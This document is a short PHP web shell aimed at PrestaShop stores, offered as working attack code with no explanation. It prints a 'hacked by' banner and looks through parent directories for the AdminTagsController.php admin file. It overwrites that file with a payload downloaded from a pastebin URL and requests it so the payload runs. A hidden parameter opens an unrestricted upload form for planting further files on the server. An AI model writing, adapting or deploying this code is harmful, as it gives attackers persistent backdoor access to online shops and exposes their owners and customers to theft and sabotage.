b_prestashop

<?php

error_reporting(0);
set_time_limit(0);

echo "hacked by bajatax";
$sss=array('/','../','../../','../../../','../../../../','../../../../../');
foreach($sss as $pa){
$preg = "controllers/admin/AdminTagsController.php";
$p1=array("$pa/$preg");
foreach($p1 as $path){
if (file_exists("$path"))
{$a = $_SERVER['SERVER_NAME'];
$html = @file_get_contents('https://pastebin.com/raw/GxS664uu');$save=fopen($path,'w');
fwrite($save,$html); file_get_contents("http://$a/$preg"); echo "<br> ./done panel <br>";
}}}if($_GET['up']=="hous"){
echo '<center><font color="Red" size="4">';
/// Script Upload By amine \\\
if(isset($_POST['Submit'])){
    $filedir = "";
    $maxfile = '2000000';
    $mode = '0644';
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if(isset($_FILES['image']['name'])) {
        $qx = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $qx);
        @chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b>Sucess Upload :D ==> $userfile_name</b></center></a>";
}
}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo "<br> fkhatr ga3 l3chran houus :D <br>";
echo '</center></font>';

}
?>